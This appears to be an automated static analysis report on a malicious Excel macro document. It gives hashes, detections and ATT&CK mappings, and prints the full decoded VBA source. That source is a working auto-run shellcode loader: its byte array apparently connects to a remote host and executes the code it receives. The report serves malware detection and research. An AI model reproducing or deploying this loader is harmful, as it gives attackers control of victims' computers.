Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6eade15ad0d84666…

MALICIOUS

Office (OLE)

36.0 KB Created: 2017-02-22 12:49:21 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: 28492c4b9e930f3481aa0b4bdd83e426 SHA-1: 8a5be3d55dec71c065cc5aab08468e34005f67cb SHA-256: 6eade15ad0d8466657d14635517d5bbfe161e19e3133904a828cfdb5bab41e47
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Office document containing VBA macros, specifically triggering AutoOpen and Workbook_Open events. The macros utilize VirtualAlloc and CreateThread API calls, indicative of shellcode execution. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' further suggests a dropper functionality. No specific URLs or network indicators were extracted, but the presence of shellcode execution points to a downloader or dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Bnlry As Long, Qqkuwacwy As Variant, Vvsvhua As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3550 bytes
SHA-256: 9fa5c3e16ccb155133e2546af05a7d1729ea35e5ded33b383111c80ddb6bb62d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Ovvvjlbmt As Long, ByVal Cafhv As Long, ByVal Lpeqatpv As LongPtr, Thz As Long, ByVal Legqp As Long, Oqcsyccb As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Pfxzb As Long, ByVal Cgcm As Long, ByVal Mbodwgtb As Long, ByVal Ppljehod As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Bymf As LongPtr, ByRef Kpvgyox As Any, ByVal Udrvht As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Ovvvjlbmt As Long, ByVal Cafhv As Long, ByVal Lpeqatpv As Long, Thz As Long, ByVal Legqp As Long, Oqcsyccb As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Pfxzb As Long, ByVal Cgcm As Long, ByVal Mbodwgtb As Long, ByVal Ppljehod As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Bymf As Long, ByRef Kpvgyox As Any, ByVal Udrvht As Long) As Long
#End If

Sub Auto_Open()
    Dim Bnlry As Long, Qqkuwacwy As Variant, Vvsvhua As Long
#If VBA7 Then
    Dim Yhs As LongPtr, Wjv As LongPtr
#Else
    Dim Yhs As Long, Wjv As Long
#End If
    Qqkuwacwy = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, _
213, 184, 144, 1, 0, 0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 80, 80, 80, _
80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 5, 104, 10, 196, 20, 185, _
104, 2, 0, 17, 66, 137, 230, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, _
116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, _
104, 2, 217, 200, 95, 255, 213, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, _
88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, _
1, 195, 41, 198, 133, 246, 117, 236, 195)

    Yhs = VirtualAlloc(0, UBound(Qqkuwacwy), &H1000, &H40)
    For Vvsvhua = LBound(Qqkuwacwy) To UBound(Qqkuwacwy)
        Bnlry = Qqkuwacwy(Vvsvhua)
        Wjv = RtlMoveMemory(Yhs + Vvsvhua, Bnlry, 1)
    Next Vvsvhua
    Wjv = CreateThread(0, 0, Yhs, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub




Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.